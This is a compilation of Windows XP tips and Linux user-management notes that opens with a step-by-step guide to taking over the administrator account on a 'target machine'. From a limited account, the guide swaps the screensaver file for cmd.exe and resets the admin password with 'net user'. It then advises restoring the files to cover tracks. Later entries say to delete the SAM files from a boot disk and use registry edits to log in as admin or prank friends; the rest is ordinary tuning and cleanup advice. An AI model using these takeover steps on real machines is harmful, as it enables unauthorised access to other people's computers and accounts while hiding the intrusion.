How to hack windows XP admin password

How to hack windows XP admin password

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user password"

If the Administrator Account is called Frank and you want the password blah enter this

"net user Frank blah"

and this changes the password on franks machine to blah and your in.


Have fun

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks



Registry Hacking

Display legal notice on startup:
Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up.
REGEDIT
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
"legalnoticecaption"="enter your notice caption"
"legalnoticetext"="enter your legal notice text"

Automatic Administrator Login:
Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system. Hacking the system registry from any account having access to system registry puts you in to the administrator account.
REGEDIT 4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"AutoAdminLogon"="1"

No Shutdown:
Wanna play with your friends by removing the shutdown option from start menu in their computer.
Just hack it down !!!
Regedit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
"NoClose"="DWORD:1"

Menu Delays:

Another minor and easy tweak to remove any delay from menus sliding out. For this you will need to use regedit (open regedit by going to Start -> Run..., then typing 'regedit' and pressing enter). The key you need to change is located in HKEY_CURRENT_USERControl PanelDesktop. The actual key is called MenuShowDelay - all you have to do is change the value to 0. Remember, you will have to re-boot your computer for this tweak to take effect.

GPEDIT.MSC And Autoplay

A great tweaking file that comes with XP is gpedit.msc. Go to Start -> Run... and then type in 'gpedit.msc' and press enter. This is effectively the Policies Editor, and it comes in handy often. For example, if you hate CD autoplay like I do and want to permanently disable it, you can use this tool to do so. Just run gpedit.msc, then go to Computer Configuration -> Administrative Templates -> System. In here you can see the value 'Turn Off Autoplay'. Right-click on it and then click 'Properties'.

Increasing options in add/remove programs:

Not a fan of MSN Messenger? don't want Windows Media Player on your system? Fair enough, but if you go to Add/Remove Programs in the Control Panel, by default none of Windows XP's 'built in' programs are visible. it's fairly easy to change, though... just open the file X:\Windows\inf\sysoc.inf (where X: is the drive letter where Windows XP is installed) in Notepad. You should see a section of the file something like this:

[Components]
NtComponents=ntoc.dll,NtOcSetupProc,,4
WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7
Display=desk.cpl,DisplayOcSetupProc,,7
Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7
NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7
iis=iis.dll,OcEntry,iis.inf,,7
com=comsetup.dll,OcEntry,comnt5.inf,hide,7
dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7
IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7
TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2
msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6
ims=imsinsnt.dll,OcEntry,ims.inf,,7
fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7
AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7
IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7

This is a list of all components installed at the moment. I've taken the example of MSN Messenger - the program entry called 'msmsgs', third-last line. You can see the word 'hide' highlighted - this is the string which tells Windows not to display the component in the Add/Remove Programs list. Fix this up by simply deleting the word 'hide' like so:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7

To this:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7

Now, after restarting, you should be able to see MSN Messenger in the Add/Remove Programs list. If you want to be able to quickly view and remove all components, simply open the sysoc.inf file and do a global find and replace for the word ",hide" and replace it with a single comma ",".

Automatically Kill Programs At Shutdown:

don't you hate it when, while trying to shut down, you get message boxes telling you that a program is still running? Making it so that Windows automatically kills applications running is a snap. Simply navigate to the HKEY_CURRENT_USERControl PanelDesktop directory in the Registry, then alter the key AutoEndTasks to the value 1.

Speeding Up Share Viewing:

This is a great tweak. Before I found it, I was always smashing my head against the table waiting to view shares on other computers. Basically, when you connect to another computer with Windows XP, it checks for any Scheduled tasks on that computer - a fairly useless task, but one that can add up to 30 seconds of waiting on the other end - not good! Fortunately, it's fairly easy to disable this process. First, navigate to HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace in the Registry. Below that, there should be a key called {D6277990-4C6A-11CF-8D87-00AA0060F5BF}. Just delete this, and after a restart, Windows will no longer check for scheduled tasks - mucho performance improvement!

Create a Shortcut to Lock Your Computer

Leaving your computer in a hurry but you don’t want to log off? You can double-click a shortcut on your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screen saver. To create a shortcut on your desktop to lock your computer: Right-click the desktop. Point to New, and then click Shortcut. The Create Shortcut Wizard opens. In the text box, type the following: rundll32.exe user32.dll,LockWorkStation Click Next. Enter a name for the shortcut. You can call it "Lock Workstation" or choose any name you like. Click Finish. You can also change the shortcut's icon (my personal favorite is the padlock icon in shell32.dll). To change the icon: Right click the shortcut and then select Properties. Click the Shortcut tab, and then click the Change Icon button. In the Look for icons in this file text box, type: Shell32.dll. Click OK. Select one of the icons from the list and then click OK You could also give it a shortcut keystroke such CTRL+ALT+L. This would save you only one keystroke from the normal command, but it could be more convenient.
Speed up Internet Explorer 6 Favorites

For some reason, the Favorites menu in IE 6 seems to slow down dramatically sometimes--I've noticed this happens when you install Tweak UI 1.33, for example, and when you use the preview tip to speed up the Start menu. But here's a fix for the problem that does work, though it's unclear why: Just open a command line window (Start button -> Run -> cmd) and type sfc, then hit ENTER. This command line runs the System File Checker, which performs a number of services, all of which are completely unrelated to IE 6. But there you go: It works.

Aspi

WinXP does not come with an Aspi layer. So far almost 90% of the problems with WinXP and CD burning software are Aspi layer problems. After installing WinXP, before installing any CD burning software do a few things first: 1. Open up "My computer" and right click on the CD Recorder. If your CD recorder was detected as a CD recorder there will be a tab called "Recording". On this tab uncheck ALL of the boxes. apply or OK out of it and close my computer. 2. Next install the standard Aspi layer for NT. Reboot when asked. That's is. after the reboot you can install any of the currently working CD recording applications with no problems. If using CD Creator do not install direct CD or Take two as they are currently incompatible but Roxio has promised a fix as soon as XP is released.



Another way ...
Boot from win98 cd, delete the SAM, SAM.SAV, SAM.LOg files ( in sytem32/config folder ). Note: don't delete SAM.exe.

Increase performance of windows XP

Tips on cleaning up your computer: Windows Xp
How to cut off the System Restore.

Right click My Computer.
Click on Properties.
Click on System Restore Tab.
Put a check beside of Turn off System Restore.
Click Apply and OK.

How to clear out the Internet Files.

First right click on the Internet Explorer Icon, then click on properties.
Now click on Delete cookies then OK.
Now click on Delete files, now put a check in Delete all offline content. Now click OK.
Now click on Clear History, then yes.
Now click ok to close out the Internet Properties.

How to clear out the TEMP folder.

Double left click on My Computer.
Double left click on "C" drive.
Now go to "tools" and select Folder options.
Now click on View and select "show hidden files and folders" under the folder Hidden Files and Folders.
Click apply and then OK.
Double left click on the Documents and Settings folder.
Double left click on the main User's Folder. (example: John Doe)
Double left click on the Local Settings folder.
Double left click on the TEMP folder.
Now go to Edit, then select all and click on the delete button on the main toolbar.
You should not delete any files newer than 3 days.
If you don't have a delete button on the toolbar then go to File and then Delete.
Click on yes when asked if you want to send the items to the recycle bin.

How to clear out the Prefetch Folder.

Double left click My Computer.
Double left click on "C" drive.
Double left click on the Windows folder.
Double left click on the Prefetch folder.
Now click on Edit, then Select all.
Now click on delete or go to "File" then Delete.
I would do this about once a month.

Be sure to run Scandisk and Defrag REGULARLY ! Run Scandisk First.
To run a ScanDisk on XP....

Double left Click My Computer.
Right click on "C" Drive.
Click Properties.
Click Tools.
To do a Scandisk Click check now.
Put a check in both boxes "Automatically Fix File System Errors" and "Scan for and attempt Recovery of Bad Sectors".
Then click Start.
Now when asked "Do you want to Schedule this Disk Check to occur the next time you Restart the Computer",
Click Yes.
Now Restart your Computer.
Also be sure to empty the Recycle Bin !

Defrag

Double left Click My Computer.
Right click on "C" Drive.
Click Properties.
Click Tools.
Click on Defragment Now
Click on Defragment

After Following All the Above, Turn System Restore Back On.

Right click My Computer.
Click on Properties.
Click on System Restore Tab.
Remove the check beside of Turn off System Restore.
Click Apply and OK.

Tips on cleaning up your computer: Remove Adware & Spyware

Spyware is software that sends information from the user's computer without their knowledge whenever the computer connects to the Internet. Usually the information sent is benign in nature, mostly concerned with general marketing information (ie., spending habits) rather than specific information like credit card numbers, although some programs are capable of retrieving specific information as well. The problem with Spyware lies in the fact that this information is transmitted without informed consent. Additionally, Spyware programs are sometimes poorly written, containing bugs and causing the computer to malfunction. Spyware does not respect your privacy. If you are bothered with this, then removing adware from your computer might be a consideration. Click HERE to be taken to the Link.

Auto Delete Temporary Folder (XP Pro)

First go to Start, then run and type in gpedit.msc
Next select -> Computer Configuration/Administrative Templates/Windows Components/Terminal Services/Temporary Folder. Then right click "Do Not Delete Temp Folder Upon Exit" Go to properties and hit disable. Now next time Windows puts a temp file in that folder it will automatically delete it when its done! Remember, GPEDIT (Group Policy Editor) is only available in XP Pro.

How to remove all the System Restore points except the recent one?

All the System Restore points can be cleared by disabling and enabling the System Restore option. However, Windows XP provides an option to clear all the System Restore points except the very recently created point. This can be accomplished through the Disk Cleanup Utility in XP.
Click Start, Run and type CLEANMGR and press Enter.
Select the hard disk partition and press OK.
At the top of the dialog, click the tab More Options.
Under System Restore section, click the button "Clean up..."
Now, all the System Restore points (except the recent one) are cleared and more hard disk space will be free.

Remove Deleted Programs from the Uninstall List

If you deleted a program instead of uninstalling it, most likely the program will still be listed in the windows uninstall list. Follow the directions below to remove programs from list manually.

1. Click on Start then Run and type regedit.
2. Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall.
3. Delete the folder of the program.
Also See "How to Manually Remove Programs from the Add or Remove Programs Tool"

A Better Windows XP Disk Cleanup Tool

These instructions will show you how to create an unattended disk cleanup which will also empty your prefetch folder providing Windows XP is installed in c:\windows.

1. Create a new text file and place the following contents inside:
c:\windows\system32\cleanmgr.exe /dc /sageset: 1
c:
cd \
cd c:\windows\prefetch
del *.* /q

2. Save the file, changing the extension from .txt to .bat
Now name it diskclean.bat

3. Execute the file. This will run the Disk Cleanup program in a special mode which asks what items you will want cleaned when Disk Cleanup performs an unattended cleanup. Check the items you wish to have cleaned up, then click OK.

4. Right-click on the diskclean.bat file and click edit. Change the first line to read:

c:\windows\system32\cleanmgr.exe /dc /sagerun: 1

5. Save the file. You can execute this file in place of running Disk Cleanup, or, to have this program run unattended, run the Add Scheduled Task Wizard in the Control Panel and create a scheduled task using the clean.bat file you just created.

To download one already made click HERE.
Save to your Desktop and then follow the instructions at #3.

Windows Hacks, Tips and Tricks

Windows Hacks, Tips and Tricks
TAGS: windows, xp, microsoft, ie

I have some secret Windows tips and tricks here. Many are problems which you may encounter, but for which Windows does not provide a readymade solution.

Registry
Display a banner each time Windows boots
1.Start -> Run
2.Type regedit
3.Go to the key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WinLogon
4.Create a new string value in the right pane named LegalNoticeCaption and enter the value that you want to see in the menubar
5.Create a new string value and name it LegalNoticeText. Modify it and insert the message you want to display each time Windows boots.
Windows
Shutting down Windows the fastest way
1.Start -> Run
2.Type rundll.exe user.exe,exitwindows
Internet Explorer
Your browser logo shows something other than the IE logo. Maybe you have installed your ISP software and you have a different logo on the top right. How do you remove it?
1.Close all browser windows
2.Start -> Run
3.Type RunDLL32.EXE IEdkcs32.dll,Clear
4.Click on OK, and start Internet Explorer. You should find the old spinning IE logo.

Linux user management

Every user who has access to a Linux system needs a login and a password. Each user must belong to a primary group and for security or access purposes can belong to several secondary groups.
In order to create new logins, modify or delete users, you must already be logged in as root. The root login is the highest level and only certain individuals should have access to the root account.
useradd - Adding a new user
Options:
• -d home directory
• -s starting program (shell)
• -p password
• -g (primary group assigned to the users)
• -G (Other groups the user belongs to)
• -m (Create the user's home directory
Example: To add a new user with
• a primary group of users
• a second group mgmt
• starting shell /bin/bash
• password of xxxx
• home directory of roger
• create home directory
• a login name of roger
useradd -gusers -Gmgmt -s/bin/shell -pxxxx -d/home/roger -m roger
top of page
________________________________________
usermod - Modifying existing user
Options:
• -d home directory
• -s starting program (shell)
• -p password
• -g (primary group assigned to the users)
• -G (Other groups the user belongs to)
Example: To add the group 'others' to the user roger
usermod -Gothers roger
________________________________________
userdel - Deleting a user
Options:
• -r (remove home directory)
Example: To remove the user 'roger' and his home directory
userdel -r roger
________________________________________
passwd - User's Password
Options:
• user's name (Only required if you are root and want to change another user's password)
Example: To change the password for the account you are currently logged in as...
passwd
Enter existing password
Enter new password
Enter new password again (to validate)
Example: To change the password for the user 'roger' (only you are logged in as root)...
passwd roger
Enter existing password (can be either roger's password or root's password)
Enter new password
Enter new password again (to validate)
________________________________________
Where user and group information stored
User names and primary groups are stored in /etc/passwd. This file can be directly edited using the 'vi' editor, although this is not recommended. Format of the file is...
• User (name normally all lower case)
• Password (encrypted - only contains the letter 'x')
• User ID (a unique number of each user)
• Primary Group ID
• Comment (Normally the person's full name)
• Home directory (normally /home/
• Default shell (normally /bin/bash)
Each field is separated by a colon.
Passwords for each user are stored in /etc/shadow. This file should only be changed using the passwd command.
Group information is stored in /etc/group. This file can be directly edited using the 'vi' editor. Format of the file is...
• Group name
• Group password (hardly ever used)
• Group ID
• User names (separated by commas)
Each field is separated by a colon.
Default files
When a new user is created, the default files and directories that are created are stored in /etc/skel.
This directory can be modified to fit your needs. Modifications only effect new users and does not change anything for existing users.
________________________________________
su - Switch User
To switch to another user, use the su command. This is most commonly used to switch to the root account.
Example: To switch to root account...
su
Enter root's passwd
Example: To switch to the user 'roger'...
su roger
Enter roger's or root's passwd
To return to original user, enter exit

Linux User Management
ac Print statistics about users' connect time.
accton Turn on accounting of processes. To turn it on type "accton /var/log/pacct".
adduser Ex: adduser mark - Effect: Adds a user to the system named mark
chage Used to change the time the user's password will expire.
chfn Change the user full name field finger information
chgrp Changes the group ownership of files.
chown Change the owner of file(s ) to another user.
chpasswd Update password file in batch.
chroot Run command or interactive shell with special root directory.
chsh Change the login shell.
edquota Used to edit user or group quotas. This program uses the vi editor to edit the quota.user and quota.group files. If the environment variable EDITOR is set to emacs, the emacs editor will be used. Type "export EDITOR=emacs" to set that variable.
faillog Examine faillog and set login failure limits.
finger See what users are running on a system.
gpasswd Administer the /etc/group file.
groupadd Create a new group.
grpck Verify the integrity of group files.
grpconv Creates /etc/gshadow from the file /etc/group which converts to shadow passwords.
grpunconv Uses the files /etc/passwd and /etc/shadow to create /etc/passwd, then deletes /etc/shadow which converts from shadow passwords.
groupdel Delete a group.
groupmod Modify a group.
groups Print the groups a user is in
id Print real and effective user id and group ids.
last Display the last users logged on and how long.
lastb Shows failed login attempts. This command requires the file /var/log/btmp to exist in order to work. Type "touch /var/log/btmp" to begin logging to this file.
lastcomm Display information about previous commands in reverse order. Works only if process accounting is on.
lastlog Formats and prints the contents of the last login.
logname Print user's login name.
newgrp Lets a suer log in to a new group.
newusers Update and create newusers in batch.
passwd Set a user's pass word.
pwck Verify integrity of password files.
pwconv Convert to and from shadow passwords and groups.
quota Display users' limits and current disk usage.
quotaoff Turns system quotas off.
quotaon Turns system quotas on.
quotacheck Used to check a filesystem for usage, and update the quota.user file.
repquota Lists a summary of quota information on filesystems.
sa Generates a summary of information about users' processes that are stored in the /var/log/pacct file.
smbclient Works similar to an ftp client enabling the user to transfer files to and from a windows based computer.
smbmount Allows a shared directory on a windows machine to be mounted on the Linux machine.
smbpasswd Program to change users passwords for samba.
su Ex: su mark - Effect: changes the user to mark, If not root will need marks password.
sulogin Single user login.
ulimit A bash builtin command for setting the processes a user can run.
useradd Create a new user or update default new user information.
userdel Delete a user account and related files.
usermod Modify a user account.
users Print the user names of users currently logged in.
utmpdump Used for debugging.
vigr Edit the password or group files.
vipw Edit the password or group files.
w Display users logged in and what they are doing.
wall Send a message to everybody's terminal.
who Display the users logged in.
whoami Print effective user id.